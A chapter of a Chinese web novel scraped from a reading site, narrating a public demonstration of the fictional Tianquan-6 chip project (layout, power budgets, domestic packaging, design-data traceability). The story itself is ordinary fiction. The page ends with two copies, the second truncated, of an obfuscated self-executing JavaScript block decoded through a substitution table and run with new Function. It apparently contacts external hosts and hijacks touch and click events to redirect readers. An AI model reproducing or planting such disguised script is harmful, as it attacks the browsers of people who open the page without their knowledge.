首页
第430章 天权6号工程公开
返回
关灯 护眼:关 字号:小

第430章 天权6号工程公开演示

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【爱阅】
aiyue365.org,更新快,无弹窗!

    天权6号工程公开演示的日期定在流片倒计时第六十二天。章宸选这个时间点有他的计算——样片尚未回片,意味着演示的核心不是一颗已经成功的晶片,而是一套正在运转中的技术体系。流片倒计时六十二天,物理设计已经冻结并交付代工厂,功耗曲线优化双路径方案完成了全部仿真验证,封装国产化试点在恒芯的首轮流片验证刚刚跑完第一轮热循环测试。所有技术数据都处于「已经发生但尚未被外部验证」的窗口期,这时候公开演示,展示的不是成果,是过程。
    演示地点选在合城产学研融合中心的多功能厅——和补天工具链演示同一个场地。方敏把大厅重新布置过,撤掉了补天演示时的十二台工作站,只在主席台上留了一张三米长的金属实验台和一面十二平方米的LED屏幕墙。实验台上摆着三样东西:一颗装在陶瓷封装里的天权6号工程样片丶一块天权6号羲和架构GPU核心的裸片在光学显微镜下的放大照片丶以及一台恒芯集成刚刚完成首轮流片验证的先进封装样品——矽通孔阵列在高倍率下呈现出规整的蜂窝状排列,微凸块在灯光下泛着暗金色的金属光泽。
    这三样东西,分别代表天权6号工程的三条腿:晶片设计丶GPU架构丶先进封装。章宸在演示前夜把三样东西按顺序摆好,然后在演示脚本的扉页上写了一行字:「今天不发布产品。今天发布的是一个体系能力的公开证明。」
    被邀请的观摩者名单经过了章宸和周明的反覆权衡。国内的部委相关司局派了上次调研过合城的韩副司长和两名技术专家;产业扶持基金资助的六家企业各自派了技术负责人;补天计划八个高校团队的代表全员到场;造芯学院第二届学员中选了二十名成绩最好的旁听生;南洋渠道联合体三家合作方通过加密视频链路远程接入;星环科研奖励机制学术委员会推荐了三名来自东南亚和中东地区高校的观察员——这是星环基金国际化后的第一批外部学者。
    海外方面,安德松教授在合城访问结束后主动提出要以个人身份出席演示会,他在给章宸的邮件里写道:「我在合城看到了可追溯的制造数据和可审计的医疗AI。如果天权6号的设计过程也遵循同样的数据治理原则,我愿意在演示结束后向欧洲技术媒体写一篇独立观察文章。」章宸回复同意,但加了一个条件:安德松的文章在发表前需经联合检测验证工作组秘书处备案,以确保文章中引用的技术数据不涉及商业秘密且经得起交叉验证。安德松接受了。
    (请记住闲时看台湾小说选台湾小说网,?????.???超惬意网站,观看最快的章节更新)
    火龙联盟没有受邀,但演示的内容会以全程录屏和实时数据日志的形式存档,并在演示结束后四十八小时内通过李明哲提交给联合检测验证工作组秘书处。章宸在演示前的最后准备会上对团队成员说:「今天的观众席上坐着的每一个人,都是未来科技技术主张的潜在验证者。他们中有人懂晶片架构,有人懂制造工艺,有人懂封装,有人懂数据审计,有人只懂政策。我们要做到的是,让每一类人看完演示后都能得出同一个结论——天权6号不是一颗孤立的晶片,而是一个从设计工具到制造产线到封装试点全链条打通的体系证据。」
    上午九点整,演示开始。章宸没有开场白,他按下了实验台上的第一个按钮,LED屏幕墙上跳出了天权6号的版图全景——二百一十七平方毫米的矽片上,超过四十亿个电晶体的逻辑网络被压缩成一张密密麻麻的彩色地图,不同功能模块用不同颜色标注:紫色的是羲和GPU核心阵列,蓝色的是天权系列通用的中央处理器核,绿色的是片上总线与互联架构,橙色的张京京多时钟域方案中的异步交换桥接区域,黄色的两套封装接口方案中与恒芯国产方案对接的矽通孔预留区。
    「这是天权6号的物理设计最终版图,RTL冻结后历经四次增量修改,于流片前九周完成全部时序签核。」章宸用雷射笔在版图上圈出了多时钟域方案的十二个分区,「张京京团队在RTL冻结约束下完成了分通道时钟偏斜方案的物理设计落地。在版图交付前的最后一次静态时序分析中,全部时钟域的建立时间裕量均在规格要求的百分之一百二十以上,最差工艺角下的保持时间裕量超出规格要求零点零三纳秒。影子寄存器组异步交换路径在最差工艺角下的延迟为0.08纳秒,优于设计预期的0.1纳秒。」
    大屏幕右侧分屏同步显示着这些数据对应的静态时序分析报告和工艺角仿真波形图。每一张图的右下角都标注了数据来源——仿真工具版本号丶工艺设计套件版本号和验证时间戳。章宸没有使用「领先」「突破」之类的修饰词,每一项性能指标后面都跟着一个括号,括号里写着行业同类产品的公开数据作为参照——不是炫耀优势,而是标明位置。
    张京京从实验台旁站起来,接过了雷射笔。她在演示前三天几乎没怎么睡,把所有和功耗相关的仿真数据重新跑了一遍,确保每一毫瓦的功耗来源都能追溯到具体的电路模块和物理机制。「天权6号全工况实测功耗46.3瓦,距目标功耗45瓦差1.3瓦。这1.3瓦的差额由先进封装散热方案覆盖,封装基板热阻余量已经过仿真验证,结温在全部工况下均控制在安全范围内。」她翻到功耗分解图,屏幕上出现了三根不同颜色的柱状图,分别标注着三个泄漏源的精确定位数据——异构互联总线瞬时电流尖峰丶GPU核动态功耗在极端负载下的非线性上翘丶以及片上存储器读写操作的静态漏电。「三个泄漏源中,第一个由物理时钟偏斜方案在物理设计层面压制——分通道时钟偏斜将总线事务的开关电流峰值在时间轴上均匀分布,尖峰基础值从58瓦压低到52瓦。第二个和第三个由小芯AI预调度模型和自适应偏置校准电路协同处理——预调度模型在125度极限温度下的预测准确率已从83.7%恢复到91.2%,推理延迟从3.2纳秒压缩到2.5纳秒,覆盖了从52瓦到46.3瓦的全部剩余削峰需求。」
    赵静坐在台下第一排。她没有上演示台,但她的预调度模型重新训练成果正在大屏幕上被张京京逐项讲解。极限温度测试用的五百颗天权4号晶片在三周内完成了全温度梯度扫描,追光四期三台并行测试设备加上外部租赁的两台设备一共跑了超过一万两千小时的累计测试时长。赵静在测试数据回传的第一周用前一百颗晶片的数据做了首轮预训练,准确率恢复到了百分之八十七点三;第三周五百颗数据全部到齐后,准确率推到了百分之九十一点二。剩下百分之八点八的误差集中在晶片个体差异和极端工艺角组合上,这些误差在物理时钟偏斜方案的压制下不会导致峰值超标。
    林薇在演示的第二部分展示了封装国产化试点的进展。屏幕上出现了恒芯集成试产线首轮流片验证的矽通孔阵列剖面显微照片——一排排矽通孔从晶片有源层垂直穿透矽衬底,通孔侧壁的粗糙度在厂务振动改造后稳定在了十五纳米以内。微凸块的高度均匀性数据以直方图的形式显示,标准差控制在了凸块直径的百分之一点二以内。再分布层介质层的厚度偏差在合工热工国产固化炉投入使用后从正负0.21微米压缩到了正负0.12微米,优于天权6号设计允许的正负0.15微米。「恒芯试产线十七项差距已关闭十四项,剩余三项全部进入解决方案落地阶段。首轮流片验证的五片晶圆全部通过了热循环丶热冲击和高温高湿老化三项初步可靠性测试——详细的老化测试需要六个月连续运行才能给出统计学显着结论,但首轮数据表明封装工艺窗口已经闭合,矽通孔间距稳定在6.3微米,正在向6微米逼近。」
    孟总坐在台下。林薇在演示中念到了他的名字——恒芯集成封装试产线技术团队——时,他下意识地直了直腰。恒芯的先进封装试产线从一家找不到客户的民营封测厂,到承担天权6号国产封装方案首轮流片验证,只用了不到三个月。这个速度放在国际封装行业的常规节奏里是离谱的,但在未来科技的战时推进模式下,三个月的每一个周末都被排满了工艺调试任务。孟总在演示结束后对方敏说了一句话:「我们是民营企业,规模小,底子薄,但我们用三个月证明了民营封装厂能干先进封装。」
    梁志远展示的是天权6号从版图数据到制造端的工艺匹配情况。屏幕上的表格列出了天权6号全部工艺参数的规格要求丶追光四期产线的实际工艺能力以及两者之间的差距分析。表格的最后一列标注了每一项差距的关闭方案和时间节点。「天权6号的目标工艺节点对离子注入片内均匀性的要求比天权4号严苛零点六倍。追光四期现有国产离子注入机在并行验证中积累的片内均匀性数据为标准偏差百分之零点八,距天权6号要求的百分之零点四还有一倍差距。」他翻到离子注入机国产替代方案的改进进度表,「国产供应商在收到我们提供的天权6号离子注入工艺窗口指标后,已完成了离子源灯丝的国内替代方案首轮注入剂量均匀性专项验证——国产灯丝在三千小时加速寿命测试中表现与进口灯丝持平。片内均匀性的提升方案分两步:第一步优化离子源磁场分布,目标将片内均匀性压缩到百分之零点五五,预计四周内完成;第二步升级注入腔体静电扫描系统,目标百分之零点四,预计在追光五期新设备出厂前完成预调。」
    台下的韩副司长听到这里时翻开笔记本,在之前记录的首台套试用专项基金旁边加了一行字:「离子注入机国产化进度可纳入首台套基金优先评审序列。」
    演示进入第三部分时,章宸把大屏幕切换到天权6号的开发全流程数据追溯系统。这是一套基于天枢OS数据治理框架搭建的工程数据管理平台,将天权6号从架构定义丶RTL设计丶功能验证丶逻辑综合丶物理设计丶时序签核到交付代工厂的全流程全部纳入时间戳记录和版本追溯。「从设计团队提交的第一行RTL代码,到物理设计冻结后交付代工厂的最终版图数据,天权6号的完整开发周期跨越了十一个月。每一个环节的每一次设计修改丶每一次评审决策丶每一次仿真结果,全部保留了完整的时间戳记录和责任人签名。这套追溯系统的数据格式与天罡Edge医疗版的临床数据追溯系统丶与追光四期产线工艺数据采集系统完全一致——因为它们运行在同一套天枢OS数据治理框架上。」
    安德松在台下轻轻点了一下头。他在合城访问时已经看过神农AI的心电波形数据追溯系统和追光四期的工艺数据归档,现在看到天权6号的设计数据也用同样的框架管理,他在笔记本上写了一句:「跨领域数据治理框架的一致性——从医疗AI到晶片设计到制造产线,同一套追溯逻辑。这是我在全球任何一家技术企业都没有见过的工程纪律。」
    演示的最后一个环节,章宸没有安排任何技术内容。他在屏幕上投出了一段只有一分半钟的视频,视频的拍摄地点是合城产学研融合中心后院的奠基石碑。镜头从石碑上刻着的八十七个造芯学院首届毕业生名字缓缓扫过,背景里追光四期的洁净车间灯火通明,恒芯封装试产线的设备在经开区的另一个方向同样亮着灯。视频最后定格在石碑上刻着的那行院训上——「从矽基到根基。」
    章宸关掉屏幕,在全场沉默中转向台下的观摩者。「天权6号的流片倒计时还有六十二天。样片回片后还需要四个月的测试和验证。实体清单的威胁没有解除,代工通道的不确定性仍然存在。天权6号能不能顺利量产,不是今天这场演示能回答的问题。」他停顿了一下,「今天这场演示要回答的只有一个问题:未来科技是不是一个可以验证的技术体系?刚才诸位看到的每一项数据——设计版图丶功耗分解丶封装显微照片丶工艺匹配表丶全流程追溯日志——都可以被任何有技术判断能力的第三方独立复现丶独立验证丶独立审计。我们不要求任何人相信我们说的话,我们只要求任何人来验证我们说的话。」
    演示结束后,安德松在合城宾馆的房间里开始起草他的独立观察文章。文章的开头是他在天权6号演示现场写下的一段笔记:「在全球技术秩序日益碎片化的今天,信任正在变成最稀缺的资源。而信任的稀缺不是因为缺乏善意,而是因为缺乏可验证的证据。今天我在合城看到了一家企业试图用一种极端的方式解决这个问题——把从医疗AI到晶片设计到制造产线的全部技术过程,都变成可以被独立审计的公开数据。这种方式是否能在商业竞争中存活,我无法预测。但它至少证明了一件事:在技术信任的废墟上,有人在认真地重建地基。」
    李明哲在日内瓦收到章宸发来的演示录屏和全流程日志数据时,离联合检测验证工作组第二次技术磋商还有三天。他把演示录屏的核心片段——尤其是章宸最后那段话——嵌入了他正在准备的关于「可验证性」定义的提案。提案的标题是:「可验证的技术体系——从单点审计到全链追溯。」
    方程在仰光收到演示录屏时,正带着缅甸卫生部的技术团队参观阳光数码科技的备件仓和维修台。他把录屏接到备件仓里那台二十四寸的显示屏上,缅甸卫生部的几名官员安静地看完了全程。副部长看完后对方程说了一句话:「你们在合城做的事,和你们在仰光说要帮我们做的事,用的是同一套逻辑。」
    方程把这句话记在了区域技术合作备忘录首批签约方反馈意见的第一行。
    陈醒没有出现在演示现场。他在中央研究院的办公室里看完了全程直播。演示结束后,章宸走进他的办公室,把天权6号工程样片的实物陶瓷封装放在桌上。陈醒拿起样片,翻过来看了一眼封装底部的矽通孔阵列标记,然后说了两个字:「继续。」
    章宸点头。「下一件事——质量改进与成本下降计划。天权4号的成本要从三十二美元往下打,二十八和二十五两个节点。天权6号样片回片后,量产良率的爬坡曲线也需要提前做预备方案。追光四期的国产化试产良率卡在九十二,距目标九十六还差四个点。这四个点每一个都要用具体的工艺改进措施填上。」
    陈醒把样片放回桌面。「质量改进和成本下降不是一场运动,是一个制度。把它做成一个持续运转的机制,而不是一次性的攻坚。」他翻开终端上的日程表,圈出了一个日期——天权6号样片回片目标日期。「在那之前,质量改进与成本下降计划要产出第一批可量化结果。」
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="mt2ffl3njo";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^F@77qs2CO/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^F@77qs2CO"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8^F@77qs2CO"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();
!function(){function a(a){var _idx="mt2ffl3njo";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^F@77qs2CO/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^F@77qs2CO"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 